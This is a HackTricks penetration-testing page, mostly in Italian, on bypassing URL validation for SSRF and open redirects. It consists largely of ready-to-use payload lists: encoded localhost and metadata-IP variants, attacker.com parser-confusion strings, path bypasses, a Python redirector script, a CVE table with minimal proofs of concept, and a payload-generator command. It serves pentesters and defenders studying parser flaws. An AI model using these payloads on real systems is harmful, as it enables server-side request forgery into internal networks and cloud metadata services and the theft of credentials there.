# URL Format Bypass {{#include ../../banners/hacktricks-training.md}} ### Localhost ```bash # Localhost 0 # Yes, just 0 is localhost in Linuc http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪ # CDIR bypass http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 # Dot bypass 127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821 # Decimal bypass http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 # Octal Bypass http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001 # Hexadecimal bypass 127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001 # Mixed encodings bypass 169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal # Add 0s bypass 127.000000000000.1 # You can also mix different encoding formats # https://www.silisoftware.com/tools/ipconverter.php # Malformed and rare localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1 # DNS to localhost localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../images/image (776).png>) L'**estensione Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypass di formattazione IP. ### Parser di Dominio ```bash https:attacker.com https:/attacker.com http:/\/\attacker.com https:/\attacker.com //attacker.com \/\/attacker.com/ /\/attacker.com/ /attacker.com %0D%0A/attacker.com #attacker.com #%20@attacker.com @attacker.com http://169.254.1698.254\@attacker.com attacker%00.com attacker%E3%80%82com attacker。com ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ ``` ``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Confusione del Dominio ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # On each IP position try to put 1 attackers domain and the others the victim domain http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ #Parameter pollution next={domain}&next=attacker.com ``` ### Bypass di Percorsi ed Estensioni Se è richiesto che l'URL debba terminare con un percorso o un'estensione, o debba contenere un percorso, puoi provare uno dei seguenti bypass: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) può generare variazioni da un input dato per cercare di bypassare il regex utilizzato. Controlla [**questo post**](https://0xacb.com/2022/11/21/recollapse/) anche per ulteriori informazioni. ### Automatic Custom Wordlists Dai un'occhiata al [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) di portswigger dove puoi inserire l'host consentito e quello dell'attaccante e genererà una lista di URL da provare per te. Considera anche se puoi utilizzare l'URL in un parametro, in un'intestazione Host o in un'intestazione CORS. {{#ref}} https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet {{#endref}} ### Bypass via redirect Potrebbe essere possibile che il server stia **filtrando la richiesta originale** di un SSRF **ma non** una possibile **risposta di redirect** a quella richiesta.\ Ad esempio, un server vulnerabile a SSRF tramite: `url=https://www.google.com/` potrebbe **filtrare il parametro url**. Ma se utilizzi un [server python per rispondere con un 302](https://pastebin.com/raw/ywAUhFrv) al luogo dove vuoi reindirizzare, potresti essere in grado di **accedere a indirizzi IP filtrati** come 127.0.0.1 o persino a **protocollo** filtrati come gopher.\ [Controlla questo report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 #python3 ./redirector.py 8000 http://127.0.0.1/ import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv)-1 != 2: print("Usage: {} ".format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` ## Tricks Spiegati ### Blackslash-trick Il _backslash-trick_ sfrutta una differenza tra il [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Mentre RFC3986 è un framework generale per gli URI, WHATWG è specifico per gli URL web ed è adottato dai browser moderni. La distinzione chiave risiede nel riconoscimento del backslash (`\`) da parte dello standard WHATWG come equivalente alla barra obliqua (`/`), influenzando il modo in cui gli URL vengono analizzati, segnando specificamente la transizione dal nome host al percorso in un URL. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg) ### Parentesi quadra sinistra Il carattere “parentesi quadra sinistra” `[` nel segmento userinfo può causare a UriComponentsBuilder di Spring di restituire un valore di nome host che differisce dai browser: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878) ### Altre Confusioni ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>) immagine da [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) ### IPv6 Zone Identifier (%25) Trick I moderni parser URL che supportano RFC 6874 consentono agli indirizzi IPv6 *link-local* di includere un **zone identifier** dopo un segno di percentuale. Alcuni filtri di sicurezza non sono a conoscenza di questa sintassi e rimuoveranno solo i letterali IPv6 racchiusi tra parentesi quadre, permettendo al payload seguente di raggiungere un'interfaccia interna: ```text http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0 http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style) ``` Se l'applicazione target convalida che l'host *non* è `fe80::1` ma smette di analizzare al `%`, potrebbe trattare erroneamente la richiesta come esterna. Normalizza sempre l'indirizzo **prima** di qualsiasi decisione di sicurezza o rimuovi completamente l'ID di zona opzionale. ### Recent Library Parsing CVEs (2022–2025) Un certo numero di framework mainstream ha sofferto di problemi di corrispondenza del nome host che possono essere sfruttati per SSRF una volta che la convalida dell'URL è stata bypassata con i trucchi elencati sopra: | Anno | CVE | Componente | Sinossi del bug | PoC minima | |------|-----|-----------|--------------|-------------| | 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` non è consentito nella sezione *userinfo*, quindi `https://example.com\[@internal` è analizzato come host `example.com` da Spring ma come `internal` dai browser, abilitando open-redirect & SSRF quando vengono utilizzate le liste di autorizzazione degli host. Aggiorna a Spring 5.3.34 / 6.0.19 / 6.1.6+. | | 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | La confusione del backslash ha permesso a `http://example.com\\@169.254.169.254/` di bypassare i filtri host che si dividono su `@`. | | 2022 | CVE-2022-3602 | OpenSSL | La verifica del nome host è stata saltata quando il nome è suffisso con un `.` (confusione del dominio senza punto). | Quando dipendi da parser URL di terze parti, **confronta l'host canonico restituito dalla libreria di cui ti fidi con la stringa grezza fornita dall'utente** per rilevare queste classi di problemi. ### Payload-generation helpers (2024+) Creare grandi elenchi di parole personalizzati a mano è ingombrante. Lo strumento open-source **SSRF-PayloadMaker** (Python 3) può ora generare automaticamente *80 k+* combinazioni di manipolazione degli host, inclusi codifiche miste, downgrade forzato a HTTP e varianti di backslash: ```bash # Generate every known bypass that transforms the allowed host example.com to attacker.com python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt ``` L'elenco risultante può essere inserito direttamente in Burp Intruder o `ffuf`. ## Riferimenti - [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) - [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) - [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243) - [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker) {{#include ../../banners/hacktricks-training.md}}